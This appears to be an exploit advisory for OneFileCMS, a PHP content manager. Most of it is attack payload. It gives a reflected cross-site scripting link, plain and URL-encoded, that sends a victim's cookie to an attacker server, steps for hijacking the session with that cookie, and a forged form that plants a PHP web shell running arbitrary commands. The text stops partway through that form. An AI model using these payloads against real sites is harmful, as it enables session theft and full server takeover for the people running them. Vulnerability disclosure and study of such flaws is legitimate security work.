 Description
===============
OneFileCMS is just that. It's a flat, light, one file CMS (Content Management System) entirely contained in an easy-to-implement, highly customizable, database-less PHP script. Coupling a utilitarian code editor with all the basic necessities of an FTP application, OneFileCMS can maintain a whole website completely in-browser without any external programs.

=======================================================
 [!] All vulnerabilities requires authentication. [!]

0x01. Cross Site Scripting vulnerability

Send this link to your victim...

http://VICTIM_SERVER/onefilecms/onefilecms.php?p='"><script>document.location="http://ATTACKER_SERVER/stealer.php?cookie="+document.cookie;</script>

...BUT, don't forget to encode it first!!!

http://VICTIM_SERVER/onefilecms/onefilecms.php?p=%27%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%41%54%54%41%43%4B%45%52%5F%53%45%52%56%45%52%2F%73%74%65%61%6C%65%72%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E

Now, check the "gotit.txt" file for the cookie.
Replace the value of the "sessionid" with the cookie that you already grab...

------------------------------------------
 [!] Create the evil file "csrf.php" [!]

http://VICTIM_SERVER/onefilecms/onefilecms.php?p='"><html><body onload='document.f.submit()'>
<form method=post name=f action="http://localhost/onefilecms/onefilecms.php">
<input type="hidden" name="sessionid" value="HERE_PASTE_THE_VALUE">
<input type="hidden" name="filename" value="csrf.php">
<input name="content" value="<pre><?php system($_GET['cmd']);exit;?>">
